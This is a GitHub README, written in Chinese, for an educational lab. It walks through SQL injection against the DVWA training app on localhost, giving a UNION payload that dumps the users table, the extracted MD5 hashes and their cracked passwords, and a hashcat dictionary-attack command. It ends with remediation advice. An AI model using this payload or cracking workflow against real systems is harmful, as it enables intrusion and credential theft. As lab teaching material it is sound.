Olasebikandaniel/dvwa-sql-injection-exploits
GitHub: Olasebikandaniel/dvwa-sql-injection-exploits
基于 DVWA 靶场的 SQL 注入教学项目,演示从 UNION 注入利用到 MD5 哈希破解的完整攻击链。
Stars: 0 | Forks: 0
# DVWA SQL 注入实验 – 凭据提取与哈希破解
## 概述
本项目演示了如何利用 Damn Vulnerable Web Application (DVWA) 中的 SQL 注入漏洞,随后进行密码哈希识别与破解。
# 本次实验的目标是模拟真实的攻击链:
拦截 HTTP 流量
利用 SQL 注入
提取用户凭据
识别哈希算法
破解密码哈希
## 实验环境
Kali Linux (VirtualBox)
运行于 http://localhost:4280 的 DVWA
Burp Suite Professional
Hashcat
CrackStation
rockyou 字典
## DVWA 安全级别:Low/Medium/Hard
目标端点
POST /vulnerabilities/sqli/
## 步骤 1 – 利用 SQL 注入
原始请求参数:
id=1
使用 Burp Repeater 注入以下 payload:
1' OR 1=1 UNION SELECT user, password FROM users#
## Payload 解析
' 闭合原始 SQL 查询
OR 1=1 强制条件评估为 TRUE
UNION SELECT user, password FROM users 检索用户名和密码哈希
# 注释掉原始查询的剩余部分
结果
应用程序返回了 users 表中的所有用户名和密码哈希。
# 提取的哈希
5f4dcc3b5aa765d61d8327deb882cf99
e99a18c428cb38d5f260853678922e03
8d3533d75ae2c3966d7e0d4fcc69216b
0d107d09f5bbe40cade3de5c71e9e9b7
5f4dcc3b5aa765d61d8327deb882cf99
# 步骤 2 – 哈希识别
所有哈希长度均为 32 个十六进制字符。
识别出的哈希算法:
MD5
MD5 在密码学上已被攻破,不应用于密码存储。
# 步骤 3 – 破解哈希
方法 1 – CrackStation(查表攻击)
# 哈希被提交至 CrackStation,针对预计算表进行查找。
结果:
哈希 算法 破解的密码
5f4dcc3b5aa765d61d8327deb882cf99 MD5 password
e99a18c428cb38d5f260853678922e03 MD5 abc123
8d3533d75ae2c3966d7e0d4fcc69216b MD5 charley
0d107d09f5bbe40cade3de5c71e9e9b7 MD5 letmein
所有哈希均被成功破解。
方法 2 – Hashcat(字典攻击)
使用的命令:
hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockYou.txt
其中:
-m 0 指定 MD5
-a 0 指定直接字典攻击
这演示了使用常见字典破解无盐 MD5 哈希的速度之快。
# 发现的安全问题
因缺乏输入验证导致的 SQL 注入漏洞
未使用参数化查询
无盐 MD5 密码哈希
密码强度薄弱
通过 UNION 注入导致凭据完全泄露
# 安全建议
使用参数化查询
实施严格的输入验证
用 bcrypt、Argon2 或 PBKDF2 替换 MD5
为每个用户密码使用唯一的盐
强制执行强密码策略
# 关键要点
SQL 注入仍然是关键的 Web 漏洞
弱哈希算法显著增加风险
链式漏洞导致凭据完全沦陷
安全的密码存储在现代应用程序中至关重要
# 免责声明
本实验是在受控环境中使用 DVWA 进行的,仅用于教育目的。
标签:Bitdefender, Burp Suite, CISA项目, CrackStation, Cybersecurity, DNS 反向解析, DOS头擦除, DVWA, Hashcat, HTTP流量劫持, MD5解密, Password Cracking, Penetration Testing, SQL Injection, UNION查询注入, Web安全, 安全实验, 安全教育, 密码破解, 彩虹表攻击, 数据提取, 漏洞复现, 网络安全, 蓝队分析, 隐私保护, 靶场练习